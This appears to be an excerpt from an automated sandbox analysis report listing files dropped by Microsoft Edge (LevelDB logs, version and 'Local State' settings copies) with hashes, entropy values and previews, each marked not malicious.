Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2303260589457232
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuKD8k:iDCV
MD5:	30C55627E7D49FF6EC31235FFB0B110A
SHA1:	7E15169B50E34461BA521536BDA1E8ACF1C1553F
SHA-256:	5185C7EED2C289934BB77369F0EE332692B7C85049157BA5CE7883803036AC4B
SHA-512:	A01A014AAFF65CB0B9C740493196273076AA511412ECC21295A6F90AB6AE74937D7C1F3AEDAEB3AC8893B2859193EE9FB77BF7033A79C16FED7D75899D2DC451
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.220939075527723
Encrypted:	false
SSDEEP:	6:HUJ8i9+q2P923oH+TcwtfrK+IFUt8YUJn3JZmw+YUJn39VkwO923oH+TcwtfrUed:S+v4Yeb23FUt89/+BV5LYeb3J
MD5:	F9544A5362A352E0FBD747617681259C
SHA1:	3564E87D42B7B8DA03973C3F82F20CD650854E43
SHA-256:	3CA24ECFA599E8F0F6E4D2D8DD6F56683CB065ACB0514B550809822CC86C1F50
SHA-512:	096A1E58382B11C0BE2859E743185A9B8DC1CBE73E53A5FCB646501D608964FC47E3B02231E9F1F1789B34323F86A01F665D80F80E944636259A4C58ED27C662
Malicious:	false
Preview:	2024/11/16-17:36:26.866 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-17:36:26.880 1d2c Recovering log #3.2024/11/16-17:36:26.880 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.220939075527723
Encrypted:	false
SSDEEP:	6:HUJ8i9+q2P923oH+TcwtfrK+IFUt8YUJn3JZmw+YUJn39VkwO923oH+TcwtfrUed:S+v4Yeb23FUt89/+BV5LYeb3J
MD5:	F9544A5362A352E0FBD747617681259C
SHA1:	3564E87D42B7B8DA03973C3F82F20CD650854E43
SHA-256:	3CA24ECFA599E8F0F6E4D2D8DD6F56683CB065ACB0514B550809822CC86C1F50
SHA-512:	096A1E58382B11C0BE2859E743185A9B8DC1CBE73E53A5FCB646501D608964FC47E3B02231E9F1F1789B34323F86A01F665D80F80E944636259A4C58ED27C662
Malicious:	false
Preview:	2024/11/16-17:36:26.866 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-17:36:26.880 1d2c Recovering log #3.2024/11/16-17:36:26.880 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2241569230808595
Encrypted:	false
SSDEEP:	6:HUJoE9+q2P923oH+TcwtfrzAdIFUt8YUJ+3JZmw+YUJ+39VkwO923oH+TcwtfrzS:li+v4Yeb9FUt8m/+iV5LYeb2J
MD5:	87D7E8E625730DA76DDC341CEBC8BFA6
SHA1:	66435B07B9F1E4EB1A65A024E900D26A6328C519
SHA-256:	EEBFBD6D8F3EC112FF3BE87D9E51AAC63A7CEF02A5EFB2D5210EA564D4441BA0
SHA-512:	A0267C0170CCD8D740CB5F3B1E7F975F46A8F4527F5AD4C4204B90A26BE89FD136810B38EC74A897AFD3DFB239EF862828D5C9A67671FDD102AD5289B02BDAC1
Malicious:	false
Preview:	2024/11/16-17:36:26.851 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-17:36:26.852 1d2c Recovering log #3.2024/11/16-17:36:26.852 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2241569230808595
Encrypted:	false
SSDEEP:	6:HUJoE9+q2P923oH+TcwtfrzAdIFUt8YUJ+3JZmw+YUJ+39VkwO923oH+TcwtfrzS:li+v4Yeb9FUt8m/+iV5LYeb2J
MD5:	87D7E8E625730DA76DDC341CEBC8BFA6
SHA1:	66435B07B9F1E4EB1A65A024E900D26A6328C519
SHA-256:	EEBFBD6D8F3EC112FF3BE87D9E51AAC63A7CEF02A5EFB2D5210EA564D4441BA0
SHA-512:	A0267C0170CCD8D740CB5F3B1E7F975F46A8F4527F5AD4C4204B90A26BE89FD136810B38EC74A897AFD3DFB239EF862828D5C9A67671FDD102AD5289B02BDAC1
Malicious:	false
Preview:	2024/11/16-17:36:26.851 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-17:36:26.852 1d2c Recovering log #3.2024/11/16-17:36:26.852 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37f62.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37f72.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF380d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a7ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d802.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF491ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ed1b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
